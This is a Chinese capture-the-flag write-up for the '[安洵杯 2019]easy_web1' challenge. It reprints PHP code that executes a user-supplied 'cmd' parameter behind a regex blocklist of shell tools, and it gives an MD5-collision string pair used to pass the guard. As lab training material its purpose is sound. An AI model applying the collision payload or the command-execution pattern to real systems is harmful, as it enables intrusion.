当前位置: 首页 > news >正文

[安洵杯 2019]easy_web1

打开题目,看到提示

查看url发现img后面为base64密文,解码,两次解码得到

3535352e706e67

查看源码,看到base64加密信息,逆转码并传入,查看源码

、将源代码解密,得到源代码,开始代码审计

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixiï½ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

根据源代码,该页面会通过GET方式获取一个cmd参数,

然后是一个正则匹配的黑名单,如果传入的cmd的值被匹配到的话就会输出forbid。

绕过过滤后,还得通过POST传入两个md5值相等但本身不等的字符串才能执行命令。

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

写入得到flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 微信小程序接口实现语音转文字
  • 牛客周赛 Round 54 (c++题解)
  • 使用Echarts来实现数据可视化
  • python-查找元素3(赛氪OJ)
  • minio文件上传
  • 书籍去掉字符串中连续出现k个0的子串
  • Linux防火墙2
  • JS+H5美观的带搜索的博客文章列表(可搜索多个参数)
  • 数据可视化(王者英雄数据分析)
  • 系统架构师(每日一练14)
  • 【LeetCode】108. 将有序数组转换为二叉搜索树
  • mysql数据库迁移
  • Face2V人脸向量开发包
  • 使用python爬取今日头条热搜
  • 使用EntityFramework8的学习和开发过程中一些经验
  • C语言笔记(第一章:C语言编程)
  • JavaScript对象详解
  • leetcode386. Lexicographical Numbers
  • Python3爬取英雄联盟英雄皮肤大图
  • python大佬养成计划----difflib模块
  • XForms - 更强大的Form
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 第2章 网络文档
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • 给Prometheus造假数据的方法
  • 构建二叉树进行数值数组的去重及优化
  • 官方解决所有 npm 全局安装权限问题
  • 新手搭建网站的主要流程
  • 一份游戏开发学习路线
  • 一加3T解锁OEM、刷入TWRP、第三方ROM以及ROOT
  • Linux权限管理(week1_day5)--技术流ken
  • #《AI中文版》V3 第 1 章 概述
  • #pragma once
  • #QT(TCP网络编程-服务端)
  • (3)Dubbo启动时qos-server can not bind localhost22222错误解决
  • (3)选择元素——(17)练习(Exercises)
  • (3)医疗图像处理:MRI磁共振成像-快速采集--(杨正汉)
  • (6)设计一个TimeMap
  • (7)svelte 教程: Props(属性)
  • (react踩过的坑)Antd Select(设置了labelInValue)在FormItem中initialValue的问题
  • (vue)页面文件上传获取:action地址
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (含笔试题)深度解析数据在内存中的存储
  • (剑指Offer)面试题41:和为s的连续正数序列
  • (论文阅读26/100)Weakly-supervised learning with convolutional neural networks
  • (十三)MipMap
  • (四十一)大数据实战——spark的yarn模式生产环境部署
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (转)LINQ之路
  • (转)memcache、redis缓存
  • .net core 3.0 linux,.NET Core 3.0 的新增功能
  • .net core Redis 使用有序集合实现延迟队列
  • .NET Core 发展历程和版本迭代
  • .net core 客户端缓存、服务器端响应缓存、服务器内存缓存
  • .NET Micro Framework 4.2 beta 源码探析